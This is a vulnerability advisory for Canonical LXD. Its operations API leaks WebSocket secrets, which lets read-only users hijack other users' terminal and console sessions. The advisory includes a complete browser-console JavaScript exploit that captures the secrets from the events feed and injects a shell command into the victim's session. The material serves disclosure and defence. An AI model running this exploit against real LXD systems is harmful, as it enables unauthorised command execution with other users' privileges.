Canonical LXD Vulnerable to Privilege Escalation via WebSocket Connection Hijacking in Operations API

Impact

LXD's operations API includes secret values necessary for WebSocket connections when retrieving information about running operations. These secret values are used for authentication of WebSocket connections for terminal and console sessions.

Therefore, attackers with only read permissions can use secret values obtained from the operations API to hijack terminal or console sessions opened by other users. Through this hijacking, attackers can execute arbitrary commands inside instances with the victim's privileges.

Reproduction Steps

1. Log in to LXD-UI using an account with read-only permissions
2. Open browser DevTools and execute the following JavaScript code

Note that this JavaScript code uses the /1.0/events API to capture execution events for terminal startup, establishes a websocket connection with that secret, and sends touch /tmp/xxx to the data channel.

(async () => {
class LXDEventsSession {
constructor(callback) {
this.wsBase =
`wss://${window.location.host}/1.0/events?type=operation&all-p
rojects=true`;
this.eventsConn = new WebSocket(this.wsBase);
this.eventsConn.onopen = (event) => {
console.log('Events conn Opened');
};
this.eventsConn.onmessage = (event) => {
callback(event);
};
}}
class LXDWebSocketSession {
constructor(operationId, secrets) {
this.operationId = operationId;
this.secrets = secrets;
this.wsBase =
`wss://${window.location.host}/1.0/operations/${operationId}/w
ebsocket`;
this.connections = {};
this.connections.data = new
WebSocket(`${this.wsBase}?secret=${this.secrets['0']}`);
this.connections.data.onopen = (event) => {
console.log('Data Opened');
this.connections.data.send(new
TextEncoder().encode('touch /tmp/xxx\r'));
}
this.connections.data.onmessage = (event) => {
console.log('[Data]', event.data);
};
this.connections.control = new
WebSocket(`${this.wsBase}?secret=${this.secrets.control}`);
this.connections.control.onopen = (event) => {
console.log('Control Opened');
}
this.connections.control.onmessage = (event) => {
console.log('[Control]', event.data);
};
}
close() {
Object.values(this.connections).forEach(ws => {
if (ws.readyState === WebSocket.OPEN) {
ws.close();
}
});
}
}
const sessions = [];
new LXDEventsSession( (event) => {
const op = JSON.parse(event.data);
const opId = op.metadata.id;const secrets = op.metadata.metadata.fds;
for(const session of sessions){
if(session.operationId === opId){
return;
}
}
sessions.push(new LXDWebSocketSession(opId, secrets))
});
})();

5. Have another user (or yourself for testing) start a terminal or console session on an instance At this time, whoever uses the secret first gains session rights, so it's recommended to intentionally slow down communication speed using DevTools' bandwidth throttling feature for verification.
6. Refresh the attacker's browser tab to stop event listening